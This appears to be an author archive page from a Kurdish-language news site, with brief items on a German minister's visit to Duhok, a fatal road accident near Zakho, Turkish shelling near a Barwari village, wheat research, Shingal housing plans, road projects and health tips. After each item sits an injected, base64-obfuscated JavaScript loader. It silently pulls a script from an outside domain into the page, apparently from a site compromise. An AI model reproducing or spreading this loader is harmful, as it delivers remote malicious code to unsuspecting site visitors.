NO IORG
Authors Posts by naci bedel

naci bedel

15011 POSTS 0 COMMENTS

21

د. عەلی تەتەر، پارێزگارێ دهۆكێ ل كوچكا مێهڤانداریان پێشوازی ل یواخیم شتامب، وەزیرێ كۆچ و كۆچبەرێن حوكمەتا ئەلمانیا فیدرال و شاندێ د گەل دا كر.
د هەڤدیتنەكێ دا بەحسێ پەیوەندیێن هەرێما كوردستانێ ل گەل وەلاتێ ئەلمانیا و رەوشا ئاوارە و پەنابەران د ناڤ و دەرڤەی كەمپان دا ل سنوورێ پارێزگەهێ و ئەو هاریكاریێن حوكمەتا ئەلمانیا ب رێكێن جودا جودا، نەخاسمە ب رێكا رێكخراوێن مرۆڤایەتی پێشكێشی هەرێما كوردستانێ و ئاوارەیان دكەت هاتە كرن.
وەزیرێ كۆچ و كۆچبەرێن ئەلمانیا فیدرال سوپاسیا خەلكێ دەڤەرێ و كارگێریا پارێزگەها دهۆكێ كر، ل دۆر وێ سەرەدەریا مرۆڤایەتی یا جوان یا ل گەل ئاوارە و پەنابەران هاتیە كرن، هەروەسا دەستخوشی ل كارگێریا پارێزگەها دهۆكێ و سازیێن پەیوەندیدار كر، ژبۆ بەرهنگاربوونا وان ل هەر قەیرانەكێ و چارەسەركرنا هەموو ئالۆزیان و سۆز دا، كو حوكمەتا ئەلمانیا ل دووڤ شیانان هاریكاریا هەرێما كوردستانێ و ئاوارە و پەنابەران بكەت.
پارێزگارێ دهۆكێ سوپاسیا حوكمەتا ئەلمانیا فیدرال كر، هەمبەر ئەو هریكاریێن بەردەوام، نەخاسمە ل دمێ قەیرانا پێشكیشی هەرێما كوردستانێ و ب تایبەتی بۆ پارێزگەهێ كرین و خواست هەموو جۆرێن پەیوەندیان ل گەل وەلاتێ ئەلمانیا پتر پێش بكەڤن و حوكمەتا ئەلمانیا وەكو جاران هاریكاریا هەرێما كوردستانێ و پارێزگەها دهۆكێ بكەت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

40

هەولێر، قائید میرۆ:

بەرپرسەكێ دەستەیا گەشتوگوزارا هەرێما كوردستانێ‌ ئاشكرا كر، دەرچوویێن پشكێن گەشتوگوزارێ وەكی رێبەرێن گەشتیاری دێ هێنە دامەزراندن و دبێژیت: پشتی خۆلێن راهێنانێ دێ باوەرنامەیێن رێبەرێن گەشتیاری ژی وەرگرن.
سیروان تەوفیق، رێڤەبەرێ بازاڕكرنێ ل دەستەیا گەشتوگوزارێ بۆ رۆژناما ئەڤرۆ دیار كر، سێ هزار و 500 كەسان فۆرمێن دامەزراندنێ بۆ رێبەرێن گەشتیاری پێشكێش كرینە و گۆت: «بڕیارە خۆلێن راهێنانێ بۆ بهێنە ڤەكرن، چونكی ئەو كەسێن دبنە رێبەرێن گەشتیاری پێدڤی ب هندەك مەرج و پیڤەران هەنە، ب تایبەتی دڤێت ژبلی زمانێ كوردی زمانەكێ دی ژی بزانیت، چونكی رێبەرێ گەشتیاری دێ دگەل گەشتیارێن بیانی بیت، نوكە ل سلێمانیێ خۆلێن راهێنانێ بۆ هاتینە ڤەكرن و بڕیارە ل باژێڕێن دی ژی بهێنە ڤەكرن».
سیروان تەوفیق گۆتژی: «پشتی دەرچوونا وان رێبەرێن گەشتیاری ب فەرمانا كارگێڕی دێ باوەرنامێ ژی وەرگرن و هەر ئێك ژ وان دگەل كۆمپانیەكا گەشتیاری دێ كار كەت و هێتە دامەزراندن، ئەڤێن دخوازن ب شێوەیێ سەربخوە ژی كار بكەن، دیسا دێ باوەرنامە هەبیت و دشێن وەكی رێبەرێن گەشتیاری كارێن خۆ بكەن».

9

زاخۆ، عەلی حاجی:

د روودانەكا هاتنوچوونێ‌ دا د ناڤبەرا دو تڕۆمبێلان دا ل سەر ڕێیا سەرەكی یا زاخۆ بۆ باتیفا ل شەڤا ئەینیێ ل سەر شەمبیێ سێ كەسان گیانێ خوە ژ دەست دا و نەه كەس ژی بریندار بوون.
رائید محەمەد سلێمان، بەرپرسێ ڕاگەهاندنا رێڤەبەریا هاتنوچوونا زاخۆ ل دۆر روودانێ بۆ ئەڤرۆ گۆت: «ل دەمژمێر 11:30 خولەكێ‌ شەڤا ئەینی ل سەر شەمبیێ و ل سر ڕێیا سەرەكی یا زاخۆ بۆ باتیفا ئەو روودانە د ناڤبەرا دو تڕۆمبێلان دا روودا، تیمێن مە گەهشتنە جهێ روودانێ ژ بۆ زانینا ئەگەرێن دروست یێن روودانێ».
ئەمیر عەلی، بەرپرسێ ڕاگەهاندنا ڕێڤەبەریا گشتی یا ساخلەمیا زاخۆ بۆ ئەڤرۆ گۆت: «د وێ روودانا هاتنوچوونێ‌ دا ١٢ كەس بوونە قوربانی، كو سێ كەسان گیانێ خوە ژ دەست دا و نەه كەس ژی بریندار بوون، ئەو كەسێن گیانێ خوە ژ دەست داین ژ ئێك خێزانن، كو دبنە باب و كور و كچ، ژ لایێ تیمێن ساخلەمیا زاخۆ ڤە خزمەتا برینداران هاتە كرن، كو برینێن جورا و جۆربوون و بۆ پشكەك ژ وان ژی نەشتەرگەری هاتنە كرن و دبن چاڤدێریا نۆشداران دانە، ئەو زاروویا ١١ سالی یا گیانێ خوە ژ دەست دای، مە گەلەك بزاڤ كرن، داكو گیانێ وێ ب سلامەت بیت، لێ ژ بەر گرانیا برینێن وێ گیانێ خوە ژ دەست دا».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

21

زنار تۆڤی:

ژ ئەنجامێ شەڕێ پەكەكێ و سۆپایێ توركیا ئاگر بەربوویە ئاقارێ گوندێ دەرگەلا موسا بەگێ ل دەڤەرا بەرواریا و پڕانیا ئاقارێ گوندی هاتیە سۆتن و گوندی ژی هاتیە چۆلكرن.
برهان جەلالبەگ، وەلاتیەكێ گوندێ دەرگەلا موسا بەگێیە ل دەڤەرا بەرواری بالا‌، بۆ رۆژناما ئەڤرۆ دیار كر، توركیا دەوروبەرێن گوندێ وان توپبارانكرینە و چەندین گوللە تۆپ ل دەوروبەێن گوندی داینە و ژ ئەنجامێ وێ تۆپبارانێ پڕانیا ئاقارێ گوندی هاتیە سوتن و گوند ژی هاتیە چۆلكرن، بەری نوكە چار پێنج مال ل سەر گوندی بوون و خودان تەرشوكەوال بوون، پشتی گوند هاتیە بەردان ئەو مالێن تەرشوكەوال هەین، ژ نەچاری تەرشوكەوالێ خۆ فرۆت و نوكە ژی هێشتا ئاگر یێ ب ئاقارێ گوندی ڤە.
برهان گۆت: «بەری نوكە ژی ژ ئەگەرێ شەڕێ پەكەكێ و توركیا تۆپ ب كوتەلا ئاشێ ئاڤێ یێ تەحینا بەرواریا كەفتینە و زیانێن مەزن گەهاندینە ئاشی و ئەڤە هەیڤەكە ئاشێ مە ژی كارناكەت، دیسا ژ ئەگەرێ تۆپبارانا توركیا جۆكا ئاڤدانێ یا گوندی ل چەندین جهان شكەستییە و نوكە ئاڤ ناهێتە گوندی و بیستانێن مە ژی هشكبووینە».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

37

ئەندازیارەكێ چاندنێ راگەهاند، مە د سالا دەربازبوی دا ل سنوورێ ئیدارا سەربەخۆیا زاخۆ ڤەكۆلینەكا زانستی بۆ 130 جۆرێن گەنمی ئەنجام دا بۆ وێ ئێكی كۆ ئەڤ گەنمێن بەرگریا نەساخیێ و كێم ئاڤیێ و گەرمێ بكەن جوتیارێن زاخۆ مفای ژێ وەربگرن، د وێ‌ ڤەكۆلینێ‌ دا بۆ مە دیار بوو، ژ وان 130 جۆران 30 جۆرە گەنمێن نانی گۆنجاینە بۆ سەقایێ زاخۆ و هاتینە دەست نیشان كرن.

ئەندازیار ئومێد سەعدی ئەندازیارێ چاندنێ و شەهرەزا د بوارێ تاقیگەها سایلۆیا زاخۆ بۆ رۆژناما ئەڤرۆ دیار كر، ل ئیدارا سەربەخۆیا زاخۆ 30 جۆرێن گەنمی گەلەك گۆنجاینە و باشن هەم بۆ چاندنێ كۆ جوتیار مفایی ژێ وەربگرن و هەم ژی بۆ بەرهەمئینان و بكارئینانێ ژی رێژا پرۆتینا وان یا باشە.
گۆت ژی: بۆ وەرزێ بهێت ئەڤ 30 جۆرە زۆربەیا وان دێ بەرهەڤ بن كۆ جوتیارێن زاخۆ بچینن، هەروەسا سالا دەربازبویی زۆربەیا وان 30 جۆران ل سنوورێ ئیدارا زاخۆ هاتبوو چاندن و ب شێوەكێ پراكتیكی ل دەف جوتیاران دیار بوو كۆ بەرهەمێ وان گەلەكێ باش بویی و بەرگریا نەخۆشیان كربوون.
دیار ژی كر، ئەو جورن گەنمی كۆ مە ڤەكۆلین ل سەر ئەنجام دابوو نە بەس گەنمێ سنوورێ ئیدارا زاخۆ بوون مە ل هەمی سەنتەرێن ڤەكولینان ل هەرێما كوردستانێ و عێراقێ كۆم كربوون.
ئاشكرا ژی كر، بۆ سالا بهێت ئەم دێ بەردەوام بین بۆ پاراستنا ڤان 30 جورێن گەنمی و ب شێوەیەكێ بەرفرەهتر دێ كار ل سەر كەین و ڤەكۆلینێن باش لسەر ئەنجام دەین بۆ وێ یەكێ جوتیارێن مە مفای ژێ وەربگرن و كارێ چاندنێ پێ بكەن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

25

جێگرێ پارێزگارێ نەینەوا دیار كر، ئاوارێن زڤرینە شنگالێ هەكە خانی نەبن پلان وەسا هاتیە دانان بۆ وان ئاوارا خانی بهێنە چێكرن، نوكە چار پلان بۆ ئاڤاكرنا خانیا ل شنگالێ هەنە و گۆت: پلانا چارێ ژی ئەوە ب هەماهەنگیا ئیدارا نەینەوا دگەل رێكخراوان خانیان نووژەن بكەت و ئەو خانیێن خراب بووین بۆ خەلكی دروست بكەن، ب تایبەتی ژی ئەو ئاوارە یێن زڤرنە شنگالێ هەكە خانی نەبن دێ خانی بۆ وان هێنە چێ كرن».

عەلی عومەر، جێگرێ پارێزگارێ نەینەوا بۆ رۆژناما ئەڤرۆ راگەهاند:» چار پلان بۆ ئاڤەدانیا شنگالێ و چێكرنا خانێن وەلاتیان هەنە، ژ وانا ژی پلانا حكومەتا ئیراقێ ئەوە دوو هزار و500 خانیان ئاڤا بكەت، هزر وەسا بۆ شووقە بۆ ڤەگەراندنا ئاوارا بهێنە چێكرن، لێ ئەم رازی نەبووینە، ژبەركۆ باشترە خەلك بزڤرنە سەر گوند و دەڤەرێن خۆ خانیا ئاڤا بكەن».
خۆیا كر، پلانەك وەسا رێكخراوەك خانیا ئاڤا بكەت و پلانەكا سیێ ژی دێ رێكخراوەك هەتا هزار خانیان ئاڤا كەت بۆ وان ئاوارێن زڤرینە شنگالێ و پلانا چارێ ژی ئەوە ب هەماهەنگییا ئیدارا نەینەا دگەل رێكخراوان خانیان نووژەن بكەت و ئەو خانیێن خرابووین بۆ خەلكێ دروست بكەن، ب تایبەتی ژی ئەو ئاوارە یێن زڤرنە شنگالێ هەكە خانی نەبن دێ خانی بۆ وان هێنە چێ كرن».
ئاشكرا ژی كر:» ئەڤە بوونە 10 سال خەلكێ شنگالێ ئاوارەنە، نوكە خەلك حەز دكەن ڤەگەرنە شنگالێ ئەز دبینم باشترە ئاوارە ڤەگەرن و ل شنگالێ بهێتە ئاڤاكرن و ئارامی پەیدابیت».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

14

ئەترووشی:

وەزارەتا ئاڤەدانكرن و ئاكنجیبونێ ئاشكرا كر، ل كابینا نەهێ یا حوكمەتا هەرێما كوردستانێ، 440 پڕۆژە ب كوژمێ 912 ملیار و 132 ملیۆن دیناران هاتینە جێبەجێ كرن و دبێژیت: «65 پڕۆژێن مەزن یێن رێك و پران ب درێژاهییا هزار و 295 كیلۆمەتران ب كوژمێ 883 ملیار دیناران هاتینە جێبەجێ كرن.»

د. ئاگرین عەبدوڵا، بریكارێ وەزارەتا ئاڤەدانكرن و ئاكنجیبنێ یا حكوومەتا هەرێما كوردستانێ، بۆ رۆژناما ئەڤرۆ ڕاگەهاند: «ل چوار سالێن تەمەنێ كابینا نەهێ یا حكوومەتا هەرێما كوردستانێ، وەزارەتا ئاڤەدانكرن و ئاكنجیبونێ ل سەر سێ جۆرا بودجا پرۆژێن رێك و پران جێبەجێ كرینە، ئەو ژی بودجا وەبەرهێنانێ، ئاسایی، داهاتێ وێستگەهێن كێشی، كۆ تنێ ل سەر بودجا وەبەرهێنانێ 65 پڕۆژێن مەزن یێن رێك و پران دروست كرینە.»
زێدەتر گۆت: «ئەو 65 پڕۆژێن رێك و پران ب درێژاهییا هزار و 295 كیلۆمەتران بوویە و ب كوژمێ 883 ملیار دینار هاتینە جێبەجێ كرن، بۆ نموونە، ڕێكا دوو سایدا ناڤبەرا هەولێر بۆ دهۆك، كۆ ژ بلی د دەمەكێ كێم نەبیت، هەمی ڕێكێن ناڤبەرا ڤان دوو پارێزگەها بوویە دووساید، هەڤدەم چەندین تونێلێن مەزن پێكهاتیە، وەك تونێلا پیرمام و ب ڕێكێن وێ یێن بەستنێ ژیڤە، ئەڤە ژ بلی دەهان پڕۆژێن بچیك و ناڤنجیێن دی یێن رێك و پران، كۆ د ڤێ كابینێدا هاتینە جێبەجێ كرن.»
ئاگرین عەبدوڵا، زەلال ژی كر: «184 پڕۆژێن بچیك و ناڤنجی، ب كوژمێ 17 ملیار و 150 ملیۆن دیناران، هەڤدەم ل سەر بودجا وێستگەهێن كێش 191 پڕۆژە ب كوژمێ 11 ملیار و 980 ملیۆن دیناران جێبەجێ كرن.»
وی بەرپرسێ وەزارەتا ئاڤەدانكرنێ گۆت: «ب شێوەكێ گشتی، وەزارەتا ئاڤەدانكرن و ئاكنجیبونێ د ژیێ كابینا نەهێ یا حكوومەتا هەرێما كوردستانێدا، 440 پڕۆژە ب كوژمێ 912 ملیار و 132 ملیۆن دیناران جێبەجێ كرینە.»(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

17

د. رەمەزان سەلاحەددین کۆچەر، تایبەتمەندێ نەخۆشیێن دل و هناڤا دیارکر کو قەبزبوون ئەوە هەکە کەسەکێ نورمال هەر سێ ڕۆژا و وێڤەتر جارەکێ بچیتە دەستنڤێژا ستویڕ و گۆت: ڕۆژێ سێ جار تو بچیە دەستنڤێژێ تشتەکێ سرۆشتی یە و هەر سێ ڕۆژا جارەکێ ژی تۆ بچی دیسا یا سرۆشتی یە.
دیاڕکر کو هندەک کەس یێن هەین دێ بێژن پێنج ڕۆژن یان حەفتیەکێ جاڕەکێ ئەز دچمە دەستنڤێژێ ئەڤە یا سرۆشتی نینە.
د. رەمەزان کۆچەر دیارکر کو قەبزبوونێ هندەک جارا چ ئەگەرێن سەرەکی نینن ب تنێ گرێدای نەخۆشیەکێ یە و گۆت: نەخۆشێن دانعەمر و ئەو کەسێن هندەک دەرمانا دخۆن وەکو یێن دلی و دەرمانێن ئێشکێمکرنێ و کەسێن کێم ئاڤێ ڤەدخۆن و ئەوێن کێم زەرزەواتی دخۆن یان بزاڤ نەبیت وەکو رێڤەچوونێ، ئەو کەس پتر تووشی قەبزبوونێ دبن.
دیارکڕ ژی هەمی دەما قەبزبوون نەخۆشی نینە، هندەک جارا نیشانە بۆ نەخۆشیەکێ و هندەک جارا ژی رووڤیکێن نەخۆشی دهێنە گرتن ئەڤجا ژبەر هەر ئەگەرەکێ هەبیت.
ب شێوەکێ گشتی ئەو کەسێن قەبز دبن ئەم شیرەتا لێ دکەین گەلەک ئاڤێ ڤەخۆن و رێڤەچوونا زێدە هبیت و خوارنا رویشالان کو پتر دناڤ زەرزەواتی دا هەنە و گۆتژی: ئەو کەسێن قەبزبوون هەی و خوین دگەل پیساتیێ وان بیت یان قەبزبوون هەبیت و کێشا وی کێم ببیت، پێدڤیە سەرەدانا نۆشدارەکێ تایبەتمەند بدەن چونکو دبیت بابەتەکێ مەزنتر ژ قەبزبوونێ هەبیت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

27

-1 سیر: ژبەركو پێكدهێت ژ ئەلیسینی كو ماددەكە مێلاكێ دپارێزیت. ل دەمێ سیر دهێتە خارن ئاستێ ئەنزیمێن گلوتاسیون پیرۆكسیدەیز و کەتەلەیز زێدەدبیت، ئەڤ ئەنزیمە ڕێگرییێ ل ژناڤچوونا پێشوەخت و پیربوونا شانێن مێلاكێ دكەن.
-2 چایا كەسك: هاریكارییا ڤەگەڕاندنا خانێن تێكچوویی یێن مێلاكێ و نەهێلانا ژەهران ددەت.
-3 كەسكاتی: كێمترین كالۆری دناڤدا هەنە و پترین ماددێن خۆراكی و ڤیتامین و كانزا دناڤدا هەنە، ژ مفایێن وان یێن سەرەكی بۆ مێلاكێ هاریكارییا پاقژكرنا لەشی دكەن ژ ژەهران و پشكدارییێ د نویكرنا خانێن مێلاكێ دا دكەن.
-4 شتی: ڕێگرییێ ل مەزنبوونا مێلاكێ دكەت ژبەر دوهنی.
-5 هندەك خارنێن دی: ئەڤۆگادۆ، چەرەزات، فێقییێن وەكو سێڤ، هرمیك، پرتەقال، لەیمون و كەسكاتی وەكو باجان سورك، بیبەر، كەرەفس، مەعدەنوس، برۆكلی و پتاتا شرین. خارنا ڤان خۆراكان ب بەرادەوامی هاریكارییا پاراستنا مێلاكێ دكەن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

33

گەلەک وەسا هزردکەن ل هاڤینێ ب تنێ ڤەخوارنێن تەزی دباشن، بەلێ بەرۆڤاژی ڤێ چەندێ، هندەک کەس حەز ژ ڤەخوارنا چایێ دکەن هەتا هەکە سەقا گەلەک یێ گەرم ژی بیت.
مالپەرێ livecience و medium کارتێکرنا چایا کەل د سەقایەکێ گەرم دا دیاردکەن و ب ڤی شێوەی:
زێدەخوهدان: دەمێ چایا کەل ڤەدخۆی، دێ زێدەخوهـ ل لەشی دەرکەڤیت و هەکە دبیتە هلم لسەر لەشی، گەرماتیا لەشی ب شێوەکێ بەرچاڤ کێم دبیت و دێ هەست ب تەزیبوونا لەشی کەی.
هەستکرن ب تەزیبوونا لەشی: چا گەرماتیا لەشی ب شێوەیەکێ بەروەخت زێدەدکەت، ئەڤ چەندە دەمارێن مێشکی هانددەت کو ئیشارەتێ بدەنە مێشکی و دێ هەست ب شهداریا لەشی کەی.
ساناهیکرنا هەرسکرنێ:
ئەو گەرماتیا چا ددەتە لەشی کاردکەت بۆ بەرفرەهکرنا دەمارێن خوینێ د کۆئەندامێ هەرسکرنێ دا، لەورا خوین پتر دهێتە پالدان و هەرسکرن ب ساناهی دکەڤیت و ژێدەرێن خوارنێ پتر دهێنە مێشتن.
شهدارکرنا لەشی:
ژبەر پێکهاتا وی ب “ ئەلکترولیتێن” پێدڤی وەکو پوتاسیوم و مەگنسیوم، کاردکەن بۆ دابینکرنا کانزایێن هاتینە ژ دەستدان دگەل خۆهدانێ و رێکخستنا کارێن لەشی و شهدارکرنا لەشی و کێمکرنا وەستیانێ و ئارامکرنا لەشی، هەروەسا ترشیێ “ تانین” ژی تێدایە کو ئەوژی وەستیانێ کێم دکەن و هێزا پێدڤی دابین دکەت، کافایین ژی دناڤدا هەیە کو هەستا ئاگەهـ ژ خۆبوون و هشیاربوونێ پەیدادکەت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

website security
WP Facebook Auto Publish Powered By : XYZScripts.com